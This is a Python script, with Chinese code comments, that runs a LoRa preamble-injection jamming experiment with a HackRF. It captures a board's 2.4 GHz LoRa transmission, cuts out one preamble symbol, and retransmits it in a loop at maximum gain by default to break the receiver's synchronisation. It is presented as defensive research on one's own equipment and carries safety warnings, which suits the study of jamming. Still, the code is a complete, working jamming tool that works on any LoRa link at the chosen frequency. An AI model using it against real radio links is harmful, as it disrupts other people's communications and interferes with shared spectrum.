#!/usr/bin/env python """ preamble_jam.py -- LoRa preamble-injection experiment (DEFENSIVE RESEARCH ONLY). Captures the target board's OWN LoRa preamble with HackRF, then continuously re-transmits it (looped) to study how preamble injection breaks the receiver's synchronization. Reproduces the "preamble injection jamming" paper on YOUR OWN link. *** SAFETY / COMPLIANCE -- READ *** This TRANSMITS on 2.4 GHz. It will disturb nearby WiFi/Bluetooth if radiated. Only run: - on boards / a link that YOU own, - in a contained setup: NO antennas + clean surroundings, or a shielded box, or cable-conducted (coax + attenuators), - never against links you don't own, never radiating into shared airspace. Keep every run short. Each run is time-bounded by --seconds. How it works: 1) capture ~2 s of the board's TX (HackRF RX), remove DC, find a preamble, cut exactly ONE preamble symbol (identical up-chirps -> seamless loop) 2) transmit that loop, repeated, for --seconds (HackRF TX) Because it REPLAYS the board's own signal, SF/BW/frequency/chirp-direction all match automatically -- no need to synthesize chirps. Typical usage (via preamble_jam.bat, or the radioconda python): python preamble_jam.py # board@2400, jam 15 s, max power python preamble_jam.py --freq 2401e6 # board on another channel python preamble_jam.py --seconds 20 # jam 20 s python preamble_jam.py --tx-gain 40 --no-amp # less power (find the minimum that works) python preamble_jam.py --use-existing # skip capture, reuse last loop python preamble_jam.py --no-tx # only capture+extract (no transmit) """ import argparse, os, subprocess, sys, tempfile, time import numpy as np # HackRF 命令行工具（radioconda 自带）。抓包(-r)和发射(-t)都用它。 HACKRF = r"C:\radioconda\Library\bin\hackrf_transfer.exe" # 临时文件：CAP=抓到的原始 IQ（int8 交织 I,Q）；LOOP=切出的一个前导码符号，用于循环发射。 CAP = os.path.join(tempfile.gettempdir(), "pj_cap.i8") LOOP = os.path.join(tempfile.gettempdir(), "pj_loop.i8") def _run_hackrf(cmd, retries): """跑一次 hackrf_transfer，失败自动重试。 hackrf_transfer 首次调用偶发失败（设备刚被释放/未就绪），重试几次就好。""" for a in range(retries): # stdout+stderr 都收进来；成功返回码为 0。 r = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True) if r.returncode == 0: return r.stdout print(f"[hackrf] attempt {a+1}/{retries} failed, retry... (device free?)") time.sleep(1.0) # 连续失败：打印最后一段输出帮助排错，然后退出。 print(r.stdout[-600:] if r.stdout else "") raise SystemExit("hackrf_transfer failed -- HackRF plugged in and not held by another program?") def capture(tune, fs, secs, lna, vga): """第一步：HackRF 只接收，抓 secs 秒原始 IQ 到 CAP 文件。 tune = 板子频率 + offset（偏调一点，把 2400 正中那条 DC/LO 假信号支开）。 lna/vga = 接收增益，给低值避免近距离饱和。""" n = int(fs * secs) # 要抓的采样点数 = 采样率 × 秒数 if os.path.exists(CAP): # 先删旧文件，避免残留 try: os.remove(CAP) except OSError: pass print(f"[capture] {secs}s @ {tune/1e6:.3f} MHz (RX only)") _run_hackrf([HACKRF, "-r", CAP, "-f", str(int(tune)), "-s", str(int(fs)), "-l", str(lna), "-g", str(vga), "-n", str(n)], 6) if not (os.path.exists(CAP) and os.path.getsize(CAP) > 1000): raise SystemExit("capture produced no data") def movsum(a, W): """长度 W 的滑动窗求和（用累加和实现，O(n) 很快）。用于下面的自相似检测。""" cs = np.cumsum(np.concatenate([[0.0], a])) return cs[W:] - cs[:-W] def extract(fs, bw, sf): """第二步：从抓到的 IQ 里找出前导码，切出【一个符号】存成 LOOP，供循环发射。 原理：LoRa 前导码是十几个【完全相同】的上扫啁啾。所以在信号上做"隔一个符号 的自相似"——相邻符号一样 -> 自相似≈1；数据段符号各不同 -> 自相似低。 自相似连续高的一段就是前导码。""" # 读原始 int8，转成复数 IQ（偶数下标=I，奇数下标=Q）。 raw = np.fromfile(CAP, dtype=np.int8); raw = raw[:len(raw)//2*2] c = (raw[0::2].astype(np.float32) + 1j*raw[1::2].astype(np.float32)).astype(np.complex64) # 关键：先减掉 DC/LO 泄漏（它是个常数复偏移）。否则那条【恒定】的 DC 假信号 # 本身完美自相似，会把下面的检测器骗过去、锁到它上面（切出来会是一条直线而不是啁啾）。 c = c - c.mean() # 一个 LoRa 符号占多少采样点：N = 2^SF × 过采样倍数(fs/bw)。SF10/BW203/3.25M -> 16384。 N = int(round(2**sf * fs / bw)) # 自相似 r[n] = |Σ c[n]·conj(c[n+N])| / 能量。preamble 段 r≈1，data 段 r 低。 prod = c[:-N] * np.conj(c[N:]) r = np.abs(movsum(prod, N)) / (movsum(np.abs(c[:-N])**2, N) + 1e-9) # 找第一段"r>0.5 且长度≥4 个符号"的连续区间 = 前导码。 above = r > 0.5; m0 = None; runlen = 0; i = 0 while i < len(above): if above[i]: j = i while j < len(above) and above[j]: j += 1 # 一直数到 r 掉下 0.5 if j - i >= 4*N: m0 = i; runlen = (j-i)/N; break i = j else: i += 1 if m0 is None: # 没找到干净的一段：退而取自相似最高点 m0 = int(np.argmax(r)); print("[warn] no clean preamble run found; using best point") print(f"[extract] preamble @ {m0/fs*1e3:.0f} ms, run ~{runlen:.1f} symbols") # 从前导码起点【往里进 3 个符号】再切，避开边界；切【正好一个符号】N 点。 # 因为前导码各符号一模一样、且 LoRa 基准啁啾扫到顶会自然绕回起点， # 所以循环这一个符号 = 无缝连续的前导码流。 off = m0 + 3*N if off + N > len(c): off = m0 seg = c[off:off+N] # 自检：啁啾的能量会摊在整个带宽(~BW)上；若是一条纯音(DC)则能量集中≈0。 # 用这个判断切出来的到底是啁啾还是又被 DC 骗了。 F = np.abs(np.fft.fft(seg)); spread = (F > F.max()*0.3).sum() * (fs/len(seg)) print(f"[extract] loop energy spread ~{spread/1e3:.0f} kHz (expect ~{bw/1e3:.0f} for a chirp)") if spread < bw*0.4: print("[warn] loop looks like a tone, not a chirp -- is the board transmitting on --freq?") # 重新量化成 int8 供发射：按峰值缩放到约 110（int8 上限 127），把动态范围用足。 sc = 110.0 / (np.max(np.abs(seg)) + 1e-9) out = np.empty(2*N, dtype=np.int8) # 交织回 I,Q out[0::2] = np.clip(np.round(seg.real*sc), -127, 127).astype(np.int8) out[1::2] = np.clip(np.round(seg.imag*sc), -127, 127).astype(np.int8) out.tofile(LOOP) print(f"[extract] wrote loop: {N} samples ({N/fs*1e3:.1f} ms), seamless-loopable preamble") def transmit(tune, fs, secs, tx_gain, amp): """第三步：把 LOOP 那一个前导码符号【循环】发射 secs 秒（HackRF 发射）。 tune 与抓包时相同：抓时板子在 tune-offset 处（=板子真实频率）， 照原样发出去就落回板子频率，所以频率自动对齐（自瞄）。""" n = int(fs * secs) # 发射的总采样点数 = 时长的保险丝（到点自动停） # -R = 循环重复这个文件（= 连续前导码）；-x = TX 增益 0~47；-a 1 = 开前端 amp。 cmd = [HACKRF, "-t", LOOP, "-R", "-f", str(int(tune)), "-s", str(int(fs)), "-x", str(tx_gain)] if amp: cmd += ["-a", "1"] cmd += ["-n", str(n)] # 有界：发够 n 个点就停 print(f"[TX] preamble injection: {secs}s @ {tune/1e6:.3f} MHz, VGA -x{tx_gain}, amp={'on' if amp else 'off'}") print("[TX] *** transmitting -- watch the victim board's packet counter / PRR ***") _run_hackrf(cmd, 3) print("[TX] done (stopped). Link should recover now.") def main(): # ---- 命令行参数 ---- ap = argparse.ArgumentParser(description="LoRa preamble-injection experiment (own gear, contained setup only)") ap.add_argument("--freq", type=float, default=2400e6, help="board center freq Hz (default 2400e6)") ap.add_argument("--offset", type=float, default=0.5e6, help="capture/TX tune offset to dodge DC (default 0.5e6)") ap.add_argument("--sf", type=int, default=10, help="LoRa SF (default 10)") ap.add_argument("--bw", type=int, default=203125, help="LoRa BW Hz (default 203125)") ap.add_argument("--fs", type=float, default=3250000, help="HackRF sample rate (default 3.25e6)") ap.add_argument("--seconds", type=float, default=15, help="TX duration seconds (default 15)") ap.add_argument("--tx-gain", type=int, default=47, help="HackRF TX VGA gain 0-47 (default 47=max)") ap.add_argument("--no-amp", action="store_true", help="disable the +amp (default amp ON)") ap.add_argument("--lna", type=int, default=8, help="capture LNA gain (default 8)") ap.add_argument("--vga", type=int, default=12, help="capture VGA gain (default 12)") ap.add_argument("--use-existing", action="store_true", help="skip capture, reuse last loop file") ap.add_argument("--no-tx", action="store_true", help="only capture+extract, do NOT transmit") a = ap.parse_args() # 抓包和发射都用 tune = 板子频率 + offset（偏调躲 DC）。 tune = a.freq + a.offset if a.use_existing: # 复用上次切好的前导码（做"只变功率"的公平对比时用，避免每次重抓）。 if not os.path.exists(LOOP): raise SystemExit("no existing loop file; run once without --use-existing first") print("[info] reusing existing loop file") else: capture(tune, a.fs, 2.0, a.lna, a.vga) # 抓 2 秒 extract(a.fs, a.bw, a.sf) # 切出前导码循环 if a.no_tx: # 只抓+切、不发射（安全自测，确认能切出啁啾）。 print("[info] --no-tx: capture/extract only, not transmitting.") return # 发射（在此之前请再次确认：自己的板子、无天线/隔离、时长短）。 transmit(tune, a.fs, a.seconds, a.tx_gain, not a.no_amp) if __name__ == "__main__": main()